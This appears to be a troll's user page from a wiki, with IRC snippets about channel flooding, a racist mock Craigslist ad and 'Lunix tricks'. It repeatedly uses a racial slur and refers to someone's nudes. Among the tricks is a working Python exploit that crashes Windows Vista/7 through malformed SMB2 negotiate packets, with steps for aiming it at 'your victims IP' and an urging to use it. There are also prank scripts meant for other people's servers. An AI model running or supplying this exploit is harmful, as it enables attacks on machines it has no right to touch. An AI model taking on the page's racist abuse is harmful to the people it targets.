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Contents 1 Auth 2 Pump snips 3 Craigs List trolls of note 3.1 Obama Tix 4 Quotes that make him LOL 5 Lunix tricks 5.1 Fight Club as a Gnome toaster pop-up (easy to adapt to Knotify) 5.2 There is no spoon (use on a SSH server with X11 forwarding) 5.3 Give your disk and CPU a workout (cool to run in a screen session on a shell box) 5.4 Windows 7/Vista remote (sort of) SMB 2.0 malformed protocol version handshake ruin 6 Lauraxlithiumx nudes 7 achievements

Auth

Hai crim2, I told you I don't trip as party_shaker. What a stupid nigger you are, starting shit over your assumtions.

TNR, 4chan and other *chans:

stink_fist!U0WUgeiNHk

Pump snips

<iNFERNiS> i need to pump
<iNFERNiS> or i'll wither
<party_shaker> do it then
<iNFERNiS> soon
<party_shaker> this is the place to pump
<blue> IMMA CHARGIN' MAH LASR
<iNFERNiS> so pumpless
<party_shaker> go pump Rizon I used to fuck with them there
<blue> lol
<blue> no
<blue> dont do it
<blue> you'll be overrun with ^_^ smileys
<party_shaker> yeah i got klined off there
<iNFERNiS> （⌒‿⌒）
<party_shaker> ^____________^
<iNFERNiS> ┐(-｡ｰ;)┌
<iNFERNiS> ヽ(´ｰ｀ )ﾉ
<iNFERNiS> （　｀ー´）
<party_shaker> KAWAII
<iNFERNiS> bento boxu

So I did to great effect.

Craigs List trolls of note

Obama Tix

“	Two Obama inaugriation tickets: $500 each: I won these from call in contest on *A local rap station*. I don't like rap except for a few songs really but I was the 4th caller so I have two tickets. I'm selling them for $500 a piece. Normally I would have been thrilled except I'm a member of the Aryan Nations. All I wanted to hear was that Ne-Yo song again. I will however use the proceeds to attend a Skrewdriver concert in Bergen, Norway. Please call *number* ask for Jethro.	„

Quotes that make him LOL

“	Nigga you need a hug	„
—[Some random guy that got mic spammed with black hitler speeches]

Lunix tricks

Fight Club as a Gnome toaster pop-up (easy to adapt to Knotify)

notify-send "Did you know?" \
"You can use old motor oil to fertilize your lawn."

There is no spoon (use on a SSH server with X11 forwarding)

#!/bin/bash
# Assumes the server your connecting to has
#* X11 Forwarding enabled
#* Is running a GUI and it's a modern version of Gnome with notify-send

DISPLAY=:0.0
export DISPLAY

notify-send "Wake up Neo..." -t 5000 ; 
sleep 4s ; 
notify-send "The Matrix has you" ; 
sleep 9s ; 
notify-send "Knock Knock" ; 
sleep 3s ; 
xterm -e cmatrix -bs

Give your disk and CPU a workout (cool to run in a screen session on a shell box)

md5sum /dev/urandom
md5sum /dev/zero

Windows 7/Vista remote (sort of) SMB 2.0 malformed protocol version handshake ruin

SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionality.

The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it's used to identify the SMB dialect that will be used for further communication.

This SMB2 security issue is specifically due to a MS patch, for another SMB2.0 security issue: KB942624 (MS07-063)

#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA

from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->  :)  normal value should be "\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()

You need to me using lunix to get this working properly.

Copy and paste that into a file called "smb.py". Edit "IP_ADDR" in the script to what your victims IP is. Later on I'll update the script so it can have an IP appended at the end or even have a list of IP's piped into it :)

party_shaker@lappy/~$ chmod +x smb.py
party_shaker@lappy/~$ ./smb.py

It seizes up their shit and crashes the OS instantly. It hasn't been patched yet. GO-GO-GO (Disclaimer: I did not discover this)

A Java Version if your python IDE is shitty because you use Windows

Lauraxlithiumx nudes

Stawp blanking and strippin' on cam.

achievements

hey dude. those images look great. i've added them to the 'hi res' gallery on the template page. fyi, i'm not 'staff' - i think technically i'm GV's imagewhore with Sheneequa serving as immediate supervisor. as for making a bunch of different templates, what we can do instead is make them in our userspace and then reference the userspace. that way they're not so easily spammed about. like this {{:User:Challenger/Image}}

	Image Master
	+100 images categorized!

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